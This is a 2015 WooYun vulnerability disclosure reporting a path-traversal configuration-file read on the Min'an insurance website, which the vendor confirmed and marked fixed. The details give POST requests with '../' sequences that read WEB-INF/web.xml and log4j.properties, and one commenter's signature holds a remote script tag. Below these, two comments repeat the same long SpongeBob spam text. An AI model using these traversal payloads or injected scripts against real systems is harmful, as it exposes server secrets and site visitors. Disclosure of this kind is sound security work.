漏洞概要
关注数(24)
关注此漏洞
漏洞标题：民安财产保险配置文件读取
提交时间：2015-08-09 20:25
修复时间：2015-09-23 21:48
公开时间：2015-09-23 21:48
漏洞类型：敏感信息泄露
危害等级：低
自评Rank：5
漏洞状态：厂商已经确认
Tags标签：
无
漏洞详情
披露状态：
2015-08-09： 细节已通知厂商并且等待厂商处理中
2015-08-09： 厂商已经确认，细节仅向厂商公开
2015-08-19： 细节向核心白帽子及相关领域专家公开
2015-08-29： 细节向普通白帽子公开
2015-09-08： 细节向实习白帽子公开
2015-09-23： 细节向公众公开
简要描述：
民安财产保险配置文件读取 ,泄露敏感信息
详细说明：
POST包
www.minanins.com/maechannel/manage/bcJinPengProposalRelation/list.do?tc=29
jinPengCarNo=1&mobile=987-65-4329&personName=cnyytigg&proposalType=../../../../../../WEB-INF/web.xml%3f
www.minanins.com/maechannel/manage/bcJinPengProposalRelation/list.do?tc=29
jinPengCarNo=1&mobile=987-65-4329&personName=cnyytigg&proposalType=../../../../../../WEB-INF/classes/log4j.properties%3f
漏洞证明：
修复方案：
版权声明：转载请注明来源 海绵宝宝@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2015-08-09 21:48
厂商回复：
非常感谢
最新状态：
2015-08-18：已修复
漏洞评价：
评论
-
2015-08-09 21:18 |
木木小子 ( 实习白帽子 | Rank:91 漏洞数:13 | <script src=http://t.cn/RLL8vaU></script...)
海绵宝宝说：派大星，我们要永远在一起。海绵宝宝说：派大星，你是我最好的朋友。海绵宝宝说：派大星，我们要一直这样没心没肺，放肆的笑。海绵宝宝说：派大星，等你过生日的时候，我要送给你一个大大的巧克力气球。海绵宝宝说：派大星，我们要好好学习。海绵宝宝说：派大星，我们要做个好人哦。海绵宝宝说：派大星，不要离开我。海绵宝宝说：派大星，可不可以留下来。海绵宝宝说：派大星，巧克力气球还没有吃完，你先吃完再离开好不好。海绵宝宝说：派大星，我愿意为你做任何事。海绵宝宝说：派大星，我会为你改变，但在此之前可不可以陪伴着我。海绵宝宝说：派大星，求求你，不要抛下我，我们说好要和章鱼哥他们永远在一起的啊。海绵宝宝说：派大星，留下来好不好，哪怕一秒。海绵宝宝说：派大星，我不会强迫你，你想要怎样，就怎样把。海绵宝宝说：派大星，我放你走。 最后，海绵宝宝的世界，没有了派大星。可是派大星不知道，他几近是海绵宝宝的所有。派大星不知道，为了成全他，海绵宝宝放弃了所有。派大星不知道，海绵宝宝对他的感情有多深。因为，就连海绵宝宝也不知道。 海绵宝宝一直笑，一直一直强迫自己保持微笑，所以，直到最后，直到派大星走，她都是一直笑，，只是，勉强支撑的微笑，能有多美？华丽而虚伪，也不过如此，只是，每当夜深人静，海绵宝宝，终究是泪如雨下。 海绵宝宝的义无反顾，成就了派大星的不屑一顾。
-
2015-08-10 14:13 |
Ton7BrEak ( 普通白帽子 | Rank:211 漏洞数:43 | 吃苦耐劳，我只会第一个！)
-
2015-09-23 21:59 |
KiM ( 路人 | Rank:0 漏洞数:1 | 我是来找小白的)
海绵宝宝说：派大星，我们要永远在一起。海绵宝宝说：派大星，你是我最好的朋友。海绵宝宝说：派大星，我们要一直这样没心没肺，放肆的笑。海绵宝宝说：派大星，等你过生日的时候，我要送给你一个大大的巧克力气球。海绵宝宝说：派大星，我们要好好学习。海绵宝宝说：派大星，我们要做个好人哦。海绵宝宝说：派大星，不要离开我。海绵宝宝说：派大星，可不可以留下来。海绵宝宝说：派大星，巧克力气球还没有吃完，你先吃完再离开好不好。海绵宝宝说：派大星，我愿意为你做任何事。海绵宝宝说：派大星，我会为你改变，但在此之前可不可以陪伴着我。海绵宝宝说：派大星，求求你，不要抛下我，我们说好要和章鱼哥他们永远在一起的啊。海绵宝宝说：派大星，留下来好不好，哪怕一秒。海绵宝宝说：派大星，我不会强迫你，你想要怎样，就怎样把。海绵宝宝说：派大星，我放你走。 最后，海绵宝宝的世界，没有了派大星。可是派大星不知道，他几近是海绵宝宝的所有。派大星不知道，为了成全他，海绵宝宝放弃了所有。派大星不知道，海绵宝宝对他的感情有多深。因为，就连海绵宝宝也不知道。 海绵宝宝一直笑，一直一直强迫自己保持微笑，所以，直到最后，直到派大星走，她都是一直笑，，只是，勉强支撑的微笑，能有多美？华丽而虚伪，也不过如此，只是，每当夜深人静，海绵宝宝，终究是泪如雨下。 海绵宝宝的义无反顾，成就了派大星的不屑一顾。
